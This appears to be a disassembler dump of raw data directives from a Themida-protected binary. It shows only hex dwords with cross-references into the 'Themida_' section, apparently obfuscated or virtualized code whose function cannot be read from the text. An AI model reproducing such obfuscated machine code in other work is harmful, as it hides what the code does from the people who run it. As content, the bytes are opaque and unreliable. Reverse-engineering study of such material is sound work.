		dd 68Dh, 4DBD8B00h, 0BA05E206h,	6, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0A4C35343h,	39AF9DBFh, 0C1C38B3Eh
		dd 8B6604E8h, 0E2F766F7h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0F0C35141h, 5730D942h, 0ED9D8933h, 8105E21Dh
		dd 0C64E8ACFh, 9D82B79h, 0E21775B5h, 1C895005h,	0B8E0F24h
		dd 0E9000000h, 6, 61B8C65Ah, 0B5FFF95Fh, 5E22121h, 9DBD8B51h
		dd 5F05E22Fh, 0AB995FFh, 8B6605E2h, 6A00B0F8h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 892CC353h, 0E2155D85h, 0E470E605h, 51006A71h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 0B2E6F37Ah, 16280DD3h, 0F613C3Ah, 2A883h, 39850100h
		dd 0F05E219h, 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 3BD501C3h, 0BAF88B40h, 6, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 10C35343h, 0E3781947h
		dd 8BBB3D3Ah, 0FF78BC3h, 0F8Bh,	0AE900h, 0D7CA0000h, 0E07A47DBh
		dd 0C10AF522h, 2304E8C1h, 0E22B79B5h, 0E2F76605h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B1C35242h, 8F8D6116h
		dd 0C6813B00h, 1E0BB3C6h, 0BD29D82Bh, 5E20519h,	0C8B0Fh
		dd 8F0F0000h, 6, 23099589h, 6A5805E2h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BDF0C351h
		dd 24C466FBh, 6E9DCh, 2DE30000h, 4EF3C284h, 1B45BD29h
		dd 0D82B05E2h, 1B3880Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 66F8ACC3h, 0B92233BEh
		dd 7, 1C47CCBEh, 0C18355h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0DDC35141h, 0F4511591h, 810F82DBh, 3
		dd 3BFB8B66h, 52860FD9h, 31000001h, 0E211A595h,	71958905h
		dd 6605E208h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 78A008C3h, 6840FD0h, 8B000000h
		dd 0E20E29BDh, 8E905h, 0FAEB0000h, 2D3D8CBBh, 0C1F64B6Eh
		dd 0BC840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 6900C357h, 34365992h
		dd 0B58BF31Ch, 5E21739h, 162195FFh, 6A05E2h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0EBEFDBC3h
		dd 89649CF6h, 0E214B5B5h, 9E95B05h, 7B000000h, 3A1CED59h
		dd 0A0096590h, 6AC32Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0CDBBC1C3h, 99FE63EAh, 8343DE3h
		dd 860F0000h, 27h, 68E9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0B9952937h
		dd 8B05E20Eh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0F5B0F85h, 2084h,	0BE800h, 0A0530000h
		dd 50CE17DDh, 0F8C0DCC1h, 9E822h, 82B10000h, 0AE4D6EB7h
		dd 5EAEB742h, 8BC38B5Fh, 0E59501D8h, 0C705E222h, 0E21CDD85h
		dd 7EB5BF05h, 57006A3Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 45EC668h,	0B7B2420Bh, 0DE89Eh, 64B70000h
		dd 0A9E4ADB9h, 0D9F02847h, 602FB436h, 0CE9h, 7AFED200h
		dd 0FF968961h, 0F4E2CBC6h, 0CAB70FD2h, 0C08B5F61h, 14958D89h
		dd 0BD8105E2h, 5E22121h, 7D0h, 3A850Fh,	0B70F0000h, 519D09F1h
		dd 0FF05E221h, 0E2212185h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 1B5B0AE7h
		dd 1A01BD8Bh, 0BD8B05E2h, 5E20C2Dh, 2121B5FFh, 6A05E2h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0BF662FC3h, 95FFE54Fh, 5E20AB9h, 0DE8h, 0F415B200h
		dd 827294FFh, 0EDC2063Ah, 0BD23DE17h, 5E20785h,	0E8FC905Fh
		dd 8, 5B75743Ch, 5CEFF6FCh, 5FF7BF0Fh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 56C35141h, 0F41DB1A9h, 95315E67h
		dd 5E21DC5h, 765BD8Bh, 14E905E2h, 22000000h, 14ADA95Ah
		dd 176EA19Eh, 507A1729h, 3FA587DDh, 816C8F29h, 0CFF4BDC7h
		dd 52006A0Ch, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0D7813F92h, 0F328E90h, 2115BD2Bh, 0DE905E2h
		dd 5F000000h, 0D25C5D06h, 4C109415h, 3EEE9859h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6CC35747h
		dd 2A1658A2h, 0E8B17468h, 0Ch, 0A6D9C003h, 31F21421h, 9A29E047h
		dd 2B75BD8Bh, 81BF05E2h, 5F4EC6D1h, 3341B9BFh, 0F78B660Ah
		dd 64DBD8Bh, 0BF6605E2h, 6ADF15h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 66DFCAC3h, 0DCF81A30h
		dd 0F7A2E929h, 0CDBFFFFFh, 8B6FD0E9h, 51006AC1h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 8B66C3E5h, 4EBF2h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0F726C357h,	0EE9h
		dd 1E754900h, 274B6002h, 587A4F16h, 0FA17A3Eh, 89F5F6B7h
		dd 0E2008D8Dh, 91858D05h, 6A05E20Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BB0C350h
		dd 0E21FD5BDh, 61858905h, 0E905E21Eh, 7, 0B4D94EDFh, 505DF728h
		dd 0DE8h, 29544500h, 0BF2A7706h, 0D81A1012h, 0CE91811h
		dd 0F1000000h, 0BA1877D4h, 139C53D2h, 5F73A089h, 9240489h
		dd 0E20CF19Dh, 6A006A05h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 273BC356h, 6A13A3C6h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 8DCFA161h, 5599F81Dh, 0E858D32h,	6A05E61Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 6E00C351h, 66568840h, 8381EFBFh, 6A05C0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 60A187C3h, 0FFA8B66h, 9061D0BFh, 0BE8h, 0FA4E6E00h
		dd 0FBC2BC00h, 0EDDF979Dh, 8B66505Eh, 0F78B90FEh, 9E9006Ah
		dd 0D6000000h, 54A4914h, 697E11C6h, 0F88B006Ah,	1E2D95FFh
		dd 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0FCCA38C3h, 4840FD7h, 66000000h, 0FCE49BEh
		dd 8Ch,	809D8D00h, 8905E59Dh, 0E22139BDh, 6AD3FF05h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 6AFCC356h, 5EAF97ADh, 232985FFh, 6A05E2h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 41107FC3h
		dd 4605CAD3h, 14E862h, 5E510000h, 0FB3A89BDh, 66957DD5h
		dd 54E5C24Eh, 6FA76389h, 0BD33AE56h, 5E218E9h, 89EE95Eh
		db 2 dup(0)
word_52F9CA	dw 0E8h			; DATA XREF: Themida_:004EFDF0o
		dd 5D000000h, 1D18ED81h, 6A05E6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 7EE54CC3h, 0B87382D5h
		dd 840FBD04h, 9, 66616060h, 9086F781h, 21BD8161h, 0D005E221h
		dd 0F000007h, 16486h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0C30B13B6h, 35CEA2D2h
		dd 0AE9F094h, 0AC000000h, 0E7D30C1Bh, 0FDCA9BE4h, 559D8B76h
		dd 6A05E215h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 6461C356h, 0FE8h, 0EC6C0100h
		dd 448AE17Bh, 4DDE831Eh, 38202A1Eh, 0FE9h, 6CF84A00h, 0A464B4F5h
		dd 862942Fh, 751E1ED9h,	0E3815Eh, 57000001h, 0FDB0B5Fh
		dd 8F85h, 0F6B70F00h, 1AF4BD83h, 0F0005E6h, 2E84h, 0A7E900h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 9141DEC3h, 40424191h, 66F78E9Ch, 0C7C7B5BFh
		dd 0E61AF485h, 105h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 3C326768h, 11FB06A5h
		dd 8E8AB59h, 9E000000h,	8FC37696h, 600E96E6h, 0BE4BC681h
		dd 8B6630BAh, 0E95E61C2h, 31h, 35EFBF66h, 1AF485C7h, 5E6h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 890E17C3h, 0E21EE59Dh, 559D8D05h,	8905E215h
		dd 0E21B5195h, 0FF238105h, 29FFFFFEh, 0E222FD95h, 0DB8C6605h
		dd 29A1B58Bh, 0C3F605E2h, 3F840F04h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0AF20C350h, 1DEDB58Bh, 0BE6605E2h, 0BD8BDD2Eh, 5E217A1h
		dd 162195FFh, 0BF0F05E2h, 48950F2h, 9C07BE24h, 17E92B83h
		dd 2B000004h, 0E22B35BDh, 0E900B005h, 5, 0DE030509h, 6070E6CDh
		dd 0E9DEE080h, 6, 0EE801345h, 0E461D9F6h, 52006A71h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0AF9BA7CFh, 86F5F6D2h, 0B60FF18Bh, 0F3B70FD8h, 6BAh
		dd 6AC38B00h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 101C350h, 0F560FAA9h, 64D8589h
		dd 0E86105E2h, 0Dh, 0CEA99DADh,	0CB8713F2h, 6D39A79Dh
		dd 0DE90Bh, 0E2290000h,	8873D21Ah, 0A94DAB93h, 5F7CDBDEh
		dd 6A04E8C1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 6629C353h, 66162BBEh, 0F60E2F7h
		dd 38Fh, 0C38B6600h, 0EE9h, 62537800h, 538C51DDh, 760F6A56h
		dd 610DA97Ah, 0B589D82Bh, 5E21C55h, 241C8950h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 86C35343h, 5E3B1B99h
		dd 816651E7h, 5E1E40CFh, 2121B5FFh, 830F05E2h, 6, 33459589h
		dd 95FF05E2h, 5E20AB9h,	0C85BD8Bh, 0B005E2h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 8CC35040h, 6660BC8Ch
		dd 61FCC38Bh, 0D7E78166h, 6A70E6A8h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7765C351h
		db 0C3h, 1Eh
word_52FD5A	dw 2AC0h		; DATA XREF: Themida_:004EE19Co
		dd 8BE97552h, 0E20E31BDh, 0E1BD8B05h, 0E405E224h, 57006A71h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8D892EFCh, 5E23081h,	3011B58Bh, 613C05E2h, 24C830Fh
		dd 0B60F0000h, 51B58BD8h, 8905E21Bh, 0E2177DB5h, 6BA05h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 5BA5ABC3h, 0BF1EBA4Ch, 59FBEF3Fh,	6AC38Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 6ABCE8C3h, 0DD8D09EDh, 0C105E22Ch, 6A04E8h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 4F7B62C3h, 66FA8B09h, 5E57E2F7h, 6AD82Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 430549C3h
		dd 13955837h, 51BE6610h, 0F28B5812h, 880FD82Bh,	18Eh, 13E8h
		dd 85B9CC00h, 633BAEA4h, 0EC5E1E99h, 0DB0591EDh, 0C44E90DDh
		dd 171DBD8Bh, 0E95E05E2h, 5, 0AAF5C23Eh, 7B904h, 8D890000h
		dd 5E21A01h, 6A00C183h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 3B9BC353h, 33860FD9h
		dd 0E8000001h, 7, 35C98645h, 0E9859BB5h, 9, 0A255890Eh
		dd 0F7A4EC67h, 8C665E39h, 52006AD9h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0AF3C5C47h
		dd 0ADD8529h, 958905E2h, 5E20ABDh, 0F04C1F6h, 0DE84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 5CE07409h, 0B5099C07h, 5E2096Dh, 162195FFh, 6A05E2h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0F5BCEC3h, 58Ah, 0A915BF00h,	0C32B79FFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 58C35242h, 0CF81F4B6h
		dd 36B872Bh, 8343Dh, 58860F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0E6B5C355h
		dd 8969AD5Ch, 0E22D05BDh, 30E905h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0CE9F91C3h
		dd 5E848h, 5BA90000h, 66120070h, 8B5EF18Bh, 0C38BF9C0h
		dd 6AD88Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0D7B731C3h, 1B8A4EBEh, 8B66C832h,	85C7F5F3h
		dd 5E200DDh, 1FEF77F5h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0A2C35545h, 38BB5662h, 6DD7FCCAh, 26A9B58Bh
		dd 8D2905E2h, 5E229C5h,	5E9h
		db 0
byte_530055	db 12h,	0DBh, 70h	; DATA XREF: ___:off_42CC84o
					; ___:off_42CC9Co
aAelJ		db '€e‹Àj',0
		dw 0E857h
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0E8C35747h, 0AD642B7Ah
		dd 45685121h, 0C4BE6684h, 958951E9h, 5E231C5h, 21BD815Eh
		dd 0D005E221h, 0F000007h, 2E85h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0EF22E261h
		dd 46F78166h, 2185FFB2h, 6605E221h, 0FFDAEEBFh,	0E22121B5h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 83D80CB2h, 2C6DB589h, 95FF05E2h,	5E20AB9h
		dd 7E96050h, 24000000h,	3AFF272h, 61F9BAC8h, 6A905Eh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 10E88FC3h, 5A000000h, 8979F088h, 0AA5D1C9Eh,	0F0367D3Ch
		dd 8B7C1E87h, 8B5EF5F8h, 8820FF7h, 81000000h, 553F42D6h
		dd 51FA8B66h, 31BD8B53h, 6605E22Bh, 5F52C1BEh, 56006A5Fh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 54DCF61h, 59DC088Fh,	1852988h, 0F05E218h, 1386h, 0D59D8900h
		dd 0F05E210h, 785h, 8E0F00h, 0F8000000h, 6AF0BF0Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0C01CC356h, 9159938h, 0B70FF0F0h, 0EE852F8h,	97000000h
		dd 0F71507DBh, 0BB11CDC0h, 4DA6BDFDh, 5FFA8B76h, 2191BF66h
		dd 7D8D895Fh, 0E905E229h, 8, 4EAFC768h,	0AD3BE069h, 21C18501h
		dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 3198A2C3h, 0B665E681h, 890F0DF1h,	0Ch, 68B0Fh
		dd 9D310000h, 5E21EBDh,	0FFF78DE9h, 55006AFFh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 96F32AE3h
		dd 667C6CB1h, 0BFB436BFh, 252948B8h, 0B58BC18Bh, 5E2041Dh
		dd 4EBh, 860F0000h, 6, 10D59589h, 6A05E2h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0DC24C4C3h
		dd 22188F95h, 0E91858Dh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 1BC29CC3h, 0F7247DCAh
		dd 0CF4029BEh, 7166BE0Dh, 6690058Ch, 5061E7BFh,	0C57D55BFh
		dd 0AE99051h, 9D000000h, 0B5632F1h, 6346E4A4h, 6A006A7Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0D868C357h, 298E516Fh, 0E21F9195h, 0F006A05h
		dd 858DFAB7h, 5E62780h,	68B0F56h, 81000000h, 97F701EFh
		dd 0BF665F44h, 0C083F050h, 8D8B6005h, 5E22FFDh,	31058D89h
		dd 906105E2h, 1104BE66h, 840F50h, 90000000h, 0CADB52Bh
		dd 9D3105E2h, 5E23155h,	8150006Ah, 1074AFF6h, 6A5F17h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0CFC35545h
		dd 92AC46D7h, 7BA643BEh, 0ECEE81C3h, 0F543406h,	68Dh, 95B58B00h
		dd 0FF05E20Ah, 0E21E2D95h, 0BD8B5105h, 5E20EB1h, 14E85Fh
		db 2 dup(0)
word_5303B6	dw 5CC7h		; DATA XREF: Themida_:004EFC80o
		dd 0EA599EBCh, 15B3C6B7h, 0B93E092Bh, 0A42F34F7h, 8D5F05C8h
		dd 0E59D809Dh, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 7EEED8B1h, 0FFEAE3A8h
		dd 0BE6660D3h, 0B5899748h, 5E21851h, 89B58B61h,	0FF05E232h
		dd 0E2232985h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 6047B113h, 405A6366h
		dd 59B589C4h, 0E905E211h, 8C6h,	0E8h, 0ED815D00h, 5E6278Ah
		dd 8E9h, 16101E00h, 8B2923B2h, 0AE9C6h,	0B7810000h, 0AFCF73A7h
		dd 0CA892D06h, 2121BD81h, 7D005E2h, 860F0000h, 184h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2CC35646h, 0E366E0DEh
		dd 0C19D8B88h, 6A05E204h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0F71C352h, 682h, 2BE78100h
		dd 81502178h, 100E3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0FDB0B53h, 0CC85h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 632C14Eh, 0CE8h, 2C696200h, 37F50ACh, 0E9D26898h, 85895E0Eh
		dd 5E20A91h, 25BBBD83h,	0F0005E6h, 3D84h, 0D6E78100h, 0E9164130h
		dd 8Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh
		dd 0FEC35242h, 0EC9E1995h, 0E9EC472Dh, 0Ah, 43FD1972h
		dd 838803EFh, 85C755E0h, 5E625BBh, 1, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 9BC35141h, 68E000AEh, 0FE9C60Ah
		dd 82000000h, 2A04CF22h, 0DEB9E70Eh, 3FD8D82Bh,	16E96A22h
		dd 89000000h, 0E2089D95h, 0BB85C705h, 5E625h, 8B000000h
		dd 0E200A9B5h, 0C19D8D05h, 8105E204h, 0FFFEFF23h, 52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0F10D72E1h, 0A1A5A902h, 6ADB8C66h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 9BDC357h
		dd 0BEBB3CE8h, 4C3F6CAh, 5C840Fh, 0BE660000h, 5E9C883h
		dd 4F000000h, 0F14443E4h, 162195FFh, 8D0905E2h,	5E20AF5h
		dd 8B666090h, 0E85061D0h, 13h, 0C7FDB59Fh, 7C8C66Ah, 446DA8B8h
		dd 449F676Bh, 0E94EA91Dh, 14h, 1B1CDCDDh, 0A522B05Ch, 4D4106Ch
		dd 0B7A1F999h, 20E5D647h, 960905Fh, 0E2332595h,	0ECE96105h
		dd 8B000003h, 0E20119BDh, 6A00B005h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 7DFCC355h
		dd 2AA59876h, 0FC274E45h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0B65627C3h, 99BD8BAAh
		dd 0E405E221h, 52006A71h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0D8B60F1Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F7C35646h, 0DFBF554Fh
		dd 0BA38F169h, 6, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	32C35747h, 0BF0F53D7h, 1C38BF1h, 0E20B6D85h, 4E8C105h
		dd 2FA58D89h, 0F76605E2h, 0F1BF0FE2h, 6AD82Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0A61EF1C3h, 66C4E928h, 93A680BFh, 6A9350h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 21E551C3h
		dd 6E9h, 2CB2600h, 0FF2C900Bh, 0E22121B5h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0FB707CD6h, 29362C6Bh, 0E20569BDh, 0B995FF05h, 8B05E20Ah
		dd 0E2177DBDh, 0F00B005h, 68Dh,	9DB58900h, 0E605E21Ch
		dd 57006A70h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 7292B881h, 0BE923EC0h, 15A968B3h, 11E8h
		dd 0C0C0D400h, 0CC3D65FCh, 1A995766h, 9A483CA7h, 0E45EB6DFh
		dd 28B0F71h, 8B000000h,	6820FF0h, 3000000h, 0E21115BDh
		dd 0F613C05h, 21E83h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0B48CA4B3h, 4AE17BDh
		dd 0BD094D5Bh, 5E22311h, 89D8B60Fh, 0E2100D8Dh,	0F7B70F05h
		dd 6BAh, 0C59D8900h, 8B05E203h,	51006AC3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 83CE71Bh, 19319589h
		dd 0E8C105E2h, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 936CEED6h, 0B2A13AAFh
		dd 498D8954h, 6605E21Ch, 8B66E2F7h, 8BD82BF9h, 0EDBD89FEh
		dd 5805E205h, 5E9h, 9EC76100h, 0D82B43F2h, 165880Fh, 0DE90000h
		dd 0F3000000h, 2C9F7F7Ch, 0DFFC920Ah, 94E22BF8h, 7B9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 830811A8h, 9D0100C1h, 5E22525h, 860FD93Bh
		dd 11Fh, 1FB5BD8Bh, 8C6605E2h, 50006AD9h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 81EBD824h
		dd 0C03BFDFh, 11B0605Bh, 8E8h, 0BE851B00h, 37E4836Ch, 659D2BC3h
		dd 5905E22Ch, 4C1F661h,	0AF840Fh, 0B58B0000h, 5E22D61h
		dd 162195FFh, 665B05E2h, 2BD874BFh, 51006AC3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0BF21D3A6h
		dd 0A660983h, 5EE8166h,	8343D60h, 860F0000h, 69h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0D8C35545h, 13E806h
		dd 4EAB0000h, 6C03F3ADh, 46BDDD56h, 5F885F6Ah, 5CF6ABC6h
		dd 39B58BDDh, 5F05E225h, 559B58Bh, 44E905E2h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 3F27C355h, 2AD753BBh, 6AC08B9Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0AEDCC353h, 8BF907C3h, 6AD88BC3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C23FC356h
		dd 8DD63F2Ch, 2CDABF3Eh, 0BD8B7891h, 5E215B9h, 155585C7h
		dd 0D73F05E2h, 6A1657h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0EAAD8FC3h, 9E93243h, 94000000h
		dd 0F7836DE1h, 0D50A814Eh, 0BD23C08Bh, 5E209D1h, 2121BD81h
		dd 7D005E2h, 850F0000h,	4Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0E2C35646h,	2185FFFCh, 6A05E221h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0DDE9C352h, 8B948666h, 81660403h,	0FF5424CEh
		dd 0E22121B5h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0E1BFCF83h, 0E681F9A6h
		dd 76878D14h, 0F6816650h, 0FF5EA5EDh, 0E20AB995h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 6FE55FBDh, 0F58589E4h, 9005E22Bh, 30719531h,	0E8FC05E2h
		dd 13h,	0F4BC92CAh, 0A60DB904h,	0C858949Dh
		dd 779422F9h, 893CD558h, 0E210C19Dh, 5FFE8B05h,	6AF0BF0Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0CFE0C351h, 17C6B960h, 0BD891CC6h, 5E2040Dh
		dd 3DB58961h, 6605E205h, 0F052E681h, 0F6B70FF9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 60C35242h, 0C9B58B4Ah
		dd 6005E224h, 58E0FF9h,	66000000h, 0D252E181h, 0B72FD981h
		dd 8B614CEAh, 0E22D7DBDh, 0B2F78105h, 6A22ECBDh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0E1F9C351h, 0E8F5F418h, 11h,	566E7EBCh, 0D18FC45Fh
		dd 0B61B8ED8h, 59507625h, 0E9F98B64h, 13h, 19406561h, 23C32A93h
		dd 0FB039008h, 53B1277Ch, 5F852A65h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 8BC35747h, 188A0DD5h, 0BD8B4B57h
		dd 5E2077Dh, 27890Fh, 14E80000h, 0FF000000h, 38574F29h
		dd 3B5112A6h, 0BC50F30Ch, 5AD161B2h, 5061E206h,	0F7B70F5Fh
		dd 0B70F515Eh, 0F8BF0FF7h, 8153565Eh, 2A499DCEh, 0E95F5F5Dh
		dd 0FFFFF740h, 0A61BD89h, 6A6005E2h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0F7A4C350h
		dd 66DD9D39h, 0F980DF81h, 0FEB9FA8Bh, 6AFFFFFFh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0F061C353h, 95BC23BEh, 21F38B2Ah, 0E21BF58Dh, 7D8D2905h
		dd 2105E204h, 0E20B5D8Dh, 0D2816605h, 8D8BFF10h, 5E21BF5h
